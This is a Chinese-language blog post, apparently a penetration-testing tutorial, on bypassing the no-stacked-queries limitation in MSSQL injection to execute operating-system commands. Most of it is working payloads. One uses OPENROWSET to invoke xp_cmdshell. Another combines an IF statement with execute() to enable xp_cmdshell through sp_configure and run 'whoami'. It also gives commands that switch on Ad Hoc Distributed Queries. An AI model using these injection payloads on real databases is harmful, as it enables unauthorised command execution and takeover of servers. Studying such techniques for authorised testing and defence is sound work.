MSSQL注入 突破不能堆疊的限制執行系統命令

使用 openrowset

這是網上流傳比較廣的一種,使用 openrowset 來執行,突破不能堆疊的限制,語法格式如下:

OPENROWSET
( { 'provider_name' 
    , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
    , {   <table_or_view> | 'query' }
   | BULK 'data_file' ,
       { FORMATFILE = 'format_file_path' [ <bulk_options> ]
       | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

payload

select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set 
fmtonly off 
exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')

在平常滲透測試中,這個技巧更多的時候用在切換高權限用戶的時候,在 sqlmap\data\procs\mssqlserver 下的 run_statement_as_user.sql 中,我們可以看到常用的 payload

但是該方法在實際的運用中侷限性還是很大的,因爲在 mssql2005 及其以後,mssql對系統存儲過程做了權限控制,Ad Hoc Distributed Queries 組件默認是不被啓用的。

  • 開啓 Ad Hoc Distributed Queries 組件
exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
  • 關閉 Ad Hoc Distributed Queries 組件
exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
  • 查看是否開啓相關存儲
select  name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'

select  name,value_in_use from sys.configurations where name like '%cmdshell%'

開啓後再來執行執行可以看到順利執行了。

使用 exec\execute

因爲 方法1 的侷限性太大了,翻了半天資料沒有找到相應的方法,只能自己動手。在同事@子云爸爸 的幫助下,終於瞎幾把摸索出一個新的方式去突破無法堆疊的問題。

那麼 exec 真的需要多句才能執行嗎?,來直接看 payload

if 語句的表達式如下,也就是說,我們是可以藉助 if 來執行 sql_statement,那麼只要你能在你的注入點構造一個 if 出來,不需要環境支持堆疊也可以達到堆疊的效果。

IF Boolean_expression   
     { sql_statement | statement_block }   
[ ELSE   
     { sql_statement | statement_block } ]

完整的 payload

select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell 
''whoami''');

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章